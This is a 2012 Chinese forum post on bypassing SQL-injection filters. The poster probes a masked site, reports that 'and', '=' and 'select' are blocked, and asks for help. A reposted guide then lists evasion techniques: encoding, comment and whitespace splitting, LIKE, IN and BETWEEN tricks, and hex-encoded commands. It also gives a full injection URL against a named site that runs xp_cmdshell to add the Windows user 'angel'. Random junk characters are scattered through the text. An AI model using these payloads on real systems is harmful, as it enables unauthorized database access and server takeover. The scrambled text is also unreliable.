找回密码
 立即注册
查看: 3032|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下./ x. D) Y* `5 N9 @7 T. b( c, T' ?
http://www.xxx.cn/Article.asp?ID=117 and 1=19 x1 y) v* D/ _
直接返回主页9 h( n5 p% t& ?3 `( i6 O
http://www.xxx.cn/Article.asp?ID=117 or 1=1
# s5 a& v# I  P, c直接返回主页6 N. `' f2 {- R" \
http://www.xxx.cn/Article.asp?ID=117 or7 Q, u8 I: e. X4 _  H
没有返回主页 没有过滤or
5 k  o3 [7 [( P1 M9 {http://www.xxx.cn/Article.asp?ID=117 and
+ i8 j1 f* u4 Q3 w直接返回主页 看来过滤了and
1 ]  c' `7 _% W8 ~http://www.xxx.cn/Article.asp?ID=117 or 15 M1 C8 v" U8 @- x% l! a
没有返回主页 即没有过滤or 也没有过滤10 p7 V5 e5 y# `7 a
http://www.xxx.cn/Article.asp?ID=117 or 1=1  G! _7 `+ n  S* S' F8 c
直接返回主页 很明显过滤了等号
8 @" Q5 D7 O& [' y" Hor的特性是与and相反的.0 O0 Y( F  b( t% z
or 1=1 爆错 或与原页面不同& X0 a( m+ B  }* b% x* |5 E; O3 r# r
or 1=2 原页面相同
4 i+ S. p9 S  k% H5 i# ^( C. e这样就是一个注入点! ^" z  q+ _1 W7 V; ^
但他过滤了=号 我就用><号代替=号吧!$ J( z" O* w  q" b8 W
or 1<2 很明显是正确的,所以应该与原页面不同
, y; N8 a# Q3 O1 u; H! f0 \or 1>2 很明显是错误的,所以应该与原页面相同
- A3 |8 B- o% J5 X7 T6 A5 [然后看看有没有过滤其他的查询语句,比如select.: E# o+ \: J1 Q
http://www.xxx.cn/Article.asp?ID=117 select1 ^9 X: X4 i3 s
直接返回主页. k5 N9 @6 Y, r" e' S! L
又迷茫了..! x  n* ?, I- H
7 R2 t- ?% U, x5 A& Y3 Z. N+ e6 b
8 O1 b; \+ }4 z+ _2 O. M
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗7 H" c, q, o2 }
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)3 b; c2 Z% n( T" m+ O( [6 w$ U
================================================
: _3 v# E& r1 G以下是转贴:+ [) Z& f6 j9 J' r
# O( C" t6 r: G6 P) J% a9 K9 h) E
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
1 {6 |5 q3 c, Y& F经过我的收集,大部分的防注入程序都过滤了以下关键字:
5 I% w$ G( d3 Yand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = + d# x. r* |( n+ g( v
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 - E# h% ^! _) A2 G
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 % O3 n" S- T1 o: u
1、运用编码技术绕过
! p7 U" E* R- g8 e( ~, ?如URLEncode编码,ASCII编码绕过。例如or 1=1即
2 [: W' U- c/ ]. n%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 . t+ }% `9 U) Z* H6 D
7 g6 w4 @( t: ]9 ]  M+ q1 b
2、通过空格绕过
( R) t/ w% p: p# I' ^$ Y如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 - @1 O; a1 y6 M) ^0 g6 C9 ?. n
or’ swords’ =‘swords’
& o* P+ y% v* y6 U3 i1 ?,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
9 ]! @. F: ~4 i# ~0 A, }. ?! o. N3、运用字符串判断代替 . [7 d& M9 g3 L* q% v8 b9 `
用经典的or 1=1判断绕过,如 3 U8 w2 I6 x3 t
or ’swords’ =’swords’ , U5 P# L- _  x: D4 K5 m$ v% ?! _4 w/ z
,这个方法就是网上在讨论的。
2 j5 W/ V% B8 Q! A! m& |2 f1 o2 F$ u  [  k4、通过类型转换修饰符N绕过
" x4 ]+ b7 D+ {) \9 ~) E* A可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 5 @9 g' c: E' W. f' t
5、通过+号拆解字符串绕过 , V% a  ]7 V8 H
效果值得考证,但毕竟是一种方法。如
9 c! H) ^7 P# }! x2 _or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
6 Q3 w) k6 B. k8 q6 q$ R
8 |1 G  y, e  _5 Z. O# x0 f6、通过LIKE绕过
/ ?' {) S. \8 [) D9 D# E2 Y以前怎么就没想到呢?如or
$ }& j2 \. }6 F5 g’swords’ LIKE ’sw’
/ b* s6 T5 U; L$ P6 V5 Q!!!显然可以很轻松的绕过 7 o6 s' G. p' J& X! A
“=”“>” ) Q4 v! N! [1 U; R' w
的限制…… 8 q* u. I' ^- P) [# R8 u) m
7、通过IN绕过 2 T& O( p( \! {6 G+ J) L
与上面的LIKE的思路差不多,如 8 l9 X  D+ q8 a
or ’swords’ IN (’swords’)
' `% f1 c; [% `4 O! A3 `: }5 o
4 i8 p* T  s) F5 D4 r" l8、通过BETWEEN绕过
* S+ E( ]/ v0 x9 u  A, ]& T2 D$ t6 K( Z; n( S/ }1 u9 s* e5 F
or ’swords’ BETWEEN ’rw’ AND ’tw’
0 ], o  c% ?& D6 a
) B0 ~: m3 O. P9、通过>或者<绕过 ' T: d" {' t; y0 P1 L
or ’swords’ > ’sw’ / ?4 ?7 t6 ~( q0 ~0 R
or ’swords’ < ’tw’ % I& c* e6 q8 g7 M
or 1<3 ; f2 d) t! c  C' Q% w$ a3 D5 U' \
…… - O. s% K' w; }
10、运用注释语句绕过 , [0 D3 `7 s6 j! L( I5 f
用/**/代替空格,如: : ~5 d& q& g( O! p- N/ o# m6 G0 o
UNION /**/ Select /**/user,pwd,from tbluser
: v* V3 M# |! Z  a+ ], Q3 w- r' F% M4 J) U, d, M
用/**/分割敏感词,如:
8 a2 D2 T& u' D: O$ M! pU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 5 w9 J9 a; x  m% S  G  B

( o. S$ v( G3 k11、用HEX绕过,一般的IDS都无法检测出来
( r. I8 f( [! B0x730079007300610064006D0069006E00 =hex(sysadmin) . _- K. u# a- F
0x640062005F006F0077006E0065007200 =hex(db_owner) - l" j& f4 T6 q" n$ H; s, q
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 6 @3 f7 l7 h# S$ j3 K7 w% D& e
  declare @a sysname ; V: K! n, M; x/ G1 I* \$ z
  select @a=   J. |/ y2 l: U7 O& d* d
  exec master.dbo.xp_cmdshell @a
: ?5 T, h/ y  F0 o效果 / v8 x- j8 h. k8 ?& r
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 0 `) k8 p2 F+ j; V

; Z+ N- V2 v; R其中的
8 A2 ?$ s3 ]/ G0 f! P: w* {0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
2 [2 A" M! I. h% T就是
2 F* Y" }: b9 U) M) p“net user angel pass /add”
! }3 t5 S- v9 `1 F1 E9 S, g4 H1 P6 d9 G9 N3 n  B
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。% E2 K. J% m. B0 Y( Q' D. i6 t0 \
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
* L9 _3 V4 a7 Z: x' I. w' C另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似$ g: a: z: i% F( l
Copy code1 K4 W# t0 z: W" B
select * from table exec xp_cmdshell'xxxxxxxxxx'
( y* b1 W+ A/ t# P7 d. r
" z; H0 L4 a2 g6 K7 o# l4 d4 R
: k/ @; p) `2 q5 T6 f6 p+ c# Pselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
& ?) {3 i: [+ h9 U! m* F0 Y* F+ s3 Z% J: e
2 n  U% N. l4 u
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
' U9 O3 S0 r3 S* J! C
. {, C  M  d. M4 b$ z; s6 I6 @3 ~
3 V' H7 k* o1 i, V  k/ rselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
- `7 h; m3 x! G) |/ G0 T
; ]- D/ X; o* p/ q8 t" z% U$ a的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
) k+ C3 }* D- s# l$ Z4 C
! H: ]: ~# G. h8 ?0 M这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
# n% ?! k; J! j4 Y& x. R可能大家早就知道了,不管怎么说,发在这里吧!8 H2 W+ v8 s) L+ c
3 P4 w4 c& ?) |" G9 Z: H* ?
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
) N1 X6 c5 _" z$ ^2 N3 O+ B  v1 R/ K, p' l2 P
* s% w* u1 H1 b- ^/ i' O/ E8 R
4 T  A9 t" ^4 n+ j: @7 ]- e1 E
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
+ d) ?: N; p5 l, O比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? ; W$ N. r3 s3 C' s' L  P
: e( b% Z7 e% u6 n( W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表